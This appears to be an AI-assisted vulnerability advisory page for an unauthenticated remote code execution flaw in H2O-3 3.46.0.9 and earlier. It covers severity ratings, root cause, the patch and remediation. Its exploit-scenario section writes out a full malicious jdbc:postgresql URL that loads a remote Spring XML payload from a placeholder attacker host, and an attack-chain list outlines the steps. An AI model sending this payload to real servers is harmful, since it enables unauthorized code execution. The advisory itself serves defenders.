Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify exposed H2O-3 REST API
-
DeliveryHost malicious Spring XML payload
-
ExploitPOST crafted jdbc:postgresql URL to /99/ImportSQLTable
-
ExecutionPostgreSQL driver instantiates socketFactory class
-
PersistRemote XML loaded and beans executed in H2O-3 JVM
-
ImpactRun arbitrary code as H2O-3 process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker needs network reachability to the H2O-3 REST API endpoint /99/ImportSQLTable on a server running H2O-3 3.46.0.9 or earlier; no authentication, user interaction, or non-default configuration is required because the vulnerable endpoint and its weak JDBC parameter blacklist are present in default installations (consistent with the AV:N/AC:L/PR:N/UI:N vector). Practical exploitation also requires the H2O-3 host to be able to outbound-fetch the attacker-supplied payload referenced via socketFactoryArg (for example an HTTP-hosted Spring XML file), and the PostgreSQL JDBC driver classes must be present on the H2O-3 classpath (they ship with H2O-3's SQL import functionality). Risk is meaningfully limited where the REST API is bound to localhost, fronted by an authenticating proxy, or otherwise unreachable from untrusted networks, and where the H2O-3 host cannot make outbound connections to attacker infrastructure. |
| Impact | The CVSS 9.8 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and the description agree that the vulnerable endpoint is reachable over the network without authentication, so the exposure model is consistent across sources. CISA SSVC, however, rates Technical Impact as 'partial' rather than 'total' and Automatable as 'no', which tempers the headline CVSS by indicating that while code execution is achievable, it does not necessarily yield full system control and is not trivially mass-scannable. EPSS is low at 0.19% (41st percentile) and the CVE is not in CISA KEV, so there is no public evidence of widespread exploitation; SSVC exploitation status is 'poc', aligning with the huntr.com bounty report (publicly available exploit code exists in the form of the huntr write-up and test cases in the patch). The realistic risk is high for any H2O-3 deployment whose REST API is exposed to untrusted networks - a common pattern for ML platforms used by data scientists on internal networks - but lower for instances behind strict network segmentation. There are no apparent conflicts between sources beyond the CVSS-vs-SSVC severity nuance. |
| Exploit ScenarioDerived | An attacker who can reach an exposed H2O-3 cluster sends an unauthenticated POST to /99/ImportSQLTable with a JDBC URL such as jdbc:postgresql://attacker:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://attacker/evil.xml. The PostgreSQL JDBC driver instantiates the attacker-supplied class with the attacker-controlled argument, loading a remote Spring XML bean definition that runs arbitrary Java code inside the H2O-3 JVM and yielding code execution as the H2O-3 process user; publicly available exploit code exists via the huntr.com bounty write-up. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – May 19, 2026
Remote code execution in H2O-3 versions 3.46.0.9 and earlier allows unauthenticated attackers to execute arbitrary code via the /99/ImportSQLTable REST API by abusing PostgreSQL JDBC driver parameters that bypass an incomplete MySQL-only parameter blacklist. No active exploitation is recorded in CISA KEV and EPSS is low (0.19%), but a vendor patch is available and SSVC marks exploitation status as POC, indicating proof-of-concept-grade attacker capability against a network-reachable endpoint.
Earlier versions of this analysis (1)
Remote code execution in H2O-3 versions 3.46.0.9 and prior allows unauthenticated attackers to execute arbitrary code via the /99/ImportSQLTable REST API endpoint by bypassing the MySQL-specific JDBC parameter blacklist and supplying PostgreSQL driver parameters (socketFactory, socketFactoryArg) with a jdbc:postgresql: URL. The vulnerability exploits insufficient validation of JDBC connection parameters, enabling attackers to instantiate arbitrary classes and achieve code execution with the privileges of the H2O-3 process. Patch available in version 3.46.0.10; no active exploitation has been publicly confirmed at time of analysis.
RemediationAI
Vendor-released patch: H2O-3 3.46.0.10, which extends the SQLManager JDBC parameter blacklist to cover PostgreSQL-driver options (socketFactory, socketFactoryArg, sslfactory, sslfactoryarg, statementInterceptors, loggerLevel, loggerFile) per commit b9ae2d3c5220db2dc53753357a783e590364d044 - upgrade all H2O-3 nodes to 3.46.0.10 or later as the primary fix. Until upgrade, restrict network access to the H2O-3 REST API (default port 54321) so that only trusted clients can reach /99/ImportSQLTable, for example by binding the service to localhost or placing it behind an authenticating reverse proxy or VPN; the trade-off is that legitimate remote data-science clients will lose direct access and must route through the proxy. As an additional compensating control, block outbound network connections from the H2O-3 host to untrusted destinations to hinder the second-stage fetch of malicious XML/class payloads referenced by socketFactoryArg or loggerFile, accepting that this may break legitimate JDBC connectivity to remote databases. Advisory and patch details: https://huntr.com/bounties/6954fe04-b905-453f-8c53-205ac8377e0d and https://github.com/h2oai/h2o-3/commit/b9ae2d3c5220db2dc53753357a783e590364d044.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in maven, pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
H2O-3 is an open-source distributed machine learning platform from H2O.ai (CPE cpe:2.3:a:h2oai:h2oai/h2o-3) that exposes a REST API including /99/ImportSQLTable, which accepts JDBC connection URLs and uses water.jdbc.SQLManager to validate them. The root cause is CWE-94 (Code Injection): SQLManager.validateJdbcUrl maintained a denylist of dangerous JDBC parameters that only enumerated MySQL-specific options (autoDeserialize, queryInterceptors, allowLoadLocalInfile, etc.), so an attacker who switches the URL scheme from jdbc:mysql: to jdbc:postgresql: can supply PostgreSQL-driver-specific parameters such as socketFactory and socketFactoryArg, which the PostgreSQL JDBC driver instantiates as arbitrary Java classes (for example org.springframework.context.support.ClassPathXmlApplicationContext loading a remote XML bean definition), yielding code execution inside the H2O-3 JVM. The fix commit b9ae2d3c5220db2dc53753357a783e590364d044 extends the blacklist to include socketFactory, socketFactoryArg, sslfactory, sslfactoryarg, statementInterceptors, loggerLevel, and loggerFile.
Know when PostgreSQL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
6DescriptionNVD
A critical remote code execution vulnerability exists in the unauthenticated REST API endpoint /99/ImportSQLTable in H2O-3 version 3.46.0.9 and prior. The vulnerability arises due to insufficient security controls in the parameter blacklist mechanism, which only targets MySQL JDBC driver-specific dangerous parameters. An attacker can bypass these controls by switching the JDBC URL protocol to jdbc:postgresql: and exploiting PostgreSQL JDBC driver-specific parameters such as socketFactory and socketFactoryArg. This allows unauthenticated attackers to execute arbitrary code on the H2O-3 server with the privileges of the H2O-3 process. The issue is resolved in version 3.46.0.10.
Blast Radius
ecosystem impact- 20 maven packages depend on ai.h2o:h2o-core (20 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.46.0.10.
Executive ViewAI
H2O-3 machine learning platform versions through 3.46.0.9 are vulnerable to unauthenticated remote code execution through a REST API endpoint, putting any organization running this software with network access at risk of system compromise. Attack code is publicly available despite low real-world exploitation to date, making the remediation window narrow before opportunistic actors begin targeting deployments. Immediate patching is critical to prevent attackers from gaining control of your machine learning infrastructure.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
EUVD-2026-25205
GHSA-qmcv-hh7c-3m56
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB